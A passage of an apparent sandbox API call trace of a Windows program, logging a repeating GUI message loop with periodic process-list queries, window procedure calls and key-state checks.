wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0260.407] IsWindowUnicode (hWnd=0x10166) returned 1 [0260.407] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0260.407] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0260.407] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0260.407] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0260.407] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0260.407] WaitMessage () returned 1 [0260.938] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0260.938] IsWindowUnicode (hWnd=0x10166) returned 1 [0260.938] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0260.938] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0260.938] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0260.938] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0260.938] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0260.938] WaitMessage () returned 1 [0261.468] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0261.468] IsWindowUnicode (hWnd=0x10166) returned 1 [0261.468] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0261.468] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0261.468] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0261.468] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0261.468] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0261.468] WaitMessage () returned 1 [0261.998] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0261.998] IsWindowUnicode (hWnd=0x10166) returned 1 [0261.998] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0261.998] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0261.998] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0261.998] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0261.999] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0261.999] WaitMessage () returned 1 [0262.138] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0262.139] IsWindowUnicode (hWnd=0x1015c) returned 1 [0262.139] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0262.139] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0262.139] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0262.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7120) returned 0x0 [0262.140] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0262.140] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0262.140] WaitMessage () returned 1 [0262.529] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0262.529] IsWindowUnicode (hWnd=0x10166) returned 1 [0262.529] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0262.529] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0262.529] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0262.529] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0262.529] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0262.529] WaitMessage () returned 1 [0263.059] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0263.059] IsWindowUnicode (hWnd=0x10166) returned 1 [0263.059] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0263.059] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0263.059] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0263.059] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0263.059] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0263.059] WaitMessage () returned 1 [0263.605] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0263.605] IsWindowUnicode (hWnd=0x10166) returned 1 [0263.605] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0263.605] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0263.605] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0263.605] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0263.606] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0263.606] WaitMessage () returned 1 [0264.135] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.135] IsWindowUnicode (hWnd=0x10166) returned 1 [0264.135] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.135] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0264.135] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0264.136] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.136] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.136] WaitMessage () returned 1 [0264.151] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.151] IsWindowUnicode (hWnd=0x1015c) returned 1 [0264.151] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.151] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0264.151] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0264.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x70a0) returned 0x0 [0264.153] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.153] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.153] WaitMessage () returned 1 [0264.666] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.666] IsWindowUnicode (hWnd=0x10166) returned 1 [0264.666] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.666] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0264.666] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0264.666] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.666] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.666] WaitMessage () returned 1 [0264.746] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.746] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x1f302dc) returned 0x1 [0264.746] IsWindowUnicode (hWnd=0x1015e) returned 1 [0264.746] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.747] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x1f302dc) returned 0x1 [0264.747] SetCursor (hCursor=0x10003) returned 0x10003 [0264.747] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0264.747] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0264.747] _TrackMouseEvent (in: lpEventTrack=0x2aa14c0 | out: lpEventTrack=0x2aa14c0) returned 1 [0264.747] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0264.747] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0264.747] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x11c00f6) returned 0x0 [0264.747] GetKeyState (nVirtKey=1) returned 0 [0264.747] GetKeyState (nVirtKey=2) returned 0 [0264.747] GetKeyState (nVirtKey=4) returned 0 [0264.747] GetKeyState (nVirtKey=5) returned 0 [0264.748] GetKeyState (nVirtKey=6) returned 0 [0264.748] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.748] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.748] WaitMessage () returned 1 [0264.853] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.853] IsWindowUnicode (hWnd=0x1015e) returned 1 [0264.853] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.853] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0264.853] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0264.853] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.853] IsWindowUnicode (hWnd=0x1015e) returned 1 [0264.853] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0264.853] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0264.853] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0264.853] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x11c00f6) returned 0x0 [0264.854] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.854] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0264.854] WaitMessage () returned 1 [0265.213] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0265.213] IsWindowUnicode (hWnd=0x10166) returned 1 [0265.213] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0265.213] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0265.213] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0265.213] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0265.213] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0265.213] WaitMessage () returned 1 [0265.758] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0265.758] IsWindowUnicode (hWnd=0x10166) returned 1 [0265.758] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0265.761] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0265.761] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0265.761] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0265.761] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0265.761] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0265.761] IsWindowUnicode (hWnd=0x1015e) returned 1 [0265.761] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0265.761] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0265.761] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0265.761] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0265.761] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0265.761] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0265.761] WaitMessage () returned 1 [0266.163] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0266.163] IsWindowUnicode (hWnd=0x1015c) returned 1 [0266.163] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0266.163] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0266.163] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0266.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7020) returned 0x0 [0266.169] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0266.169] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0266.169] WaitMessage () returned 1 [0266.288] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0266.288] IsWindowUnicode (hWnd=0x10166) returned 1 [0266.288] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0266.288] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0266.289] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0266.289] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0266.289] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0266.289] WaitMessage () returned 1 [0266.819] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0266.819] IsWindowUnicode (hWnd=0x10166) returned 1 [0266.819] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0266.819] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0266.819] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0266.819] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0266.819] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0266.819] WaitMessage () returned 1 [0267.358] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0267.358] IsWindowUnicode (hWnd=0x10166) returned 1 [0267.358] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0267.358] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0267.358] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0267.358] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0267.358] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0267.359] WaitMessage () returned 1 [0267.879] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0267.879] IsWindowUnicode (hWnd=0x10166) returned 1 [0267.879] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0267.880] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0267.880] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0267.880] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0267.880] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0267.880] WaitMessage () returned 1 [0268.177] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0268.177] IsWindowUnicode (hWnd=0x1015c) returned 1 [0268.177] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0268.177] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0268.177] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0268.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6fa0) returned 0x0 [0268.179] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0268.179] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0268.179] WaitMessage () returned 1 [0268.410] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0268.410] IsWindowUnicode (hWnd=0x10166) returned 1 [0268.410] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0268.410] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0268.410] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0268.410] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0268.410] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0268.410] WaitMessage () returned 1 [0268.940] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0268.940] IsWindowUnicode (hWnd=0x10166) returned 1 [0268.940] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0268.940] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0268.940] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0268.941] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0268.941] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0268.941] WaitMessage () returned 1 [0269.471] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0269.471] IsWindowUnicode (hWnd=0x10166) returned 1 [0269.471] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0269.471] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0269.471] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0269.471] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0269.471] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0269.471] WaitMessage () returned 1 [0270.001] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0270.001] IsWindowUnicode (hWnd=0x10166) returned 1 [0270.001] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0270.001] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0270.002] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0270.002] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0270.002] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 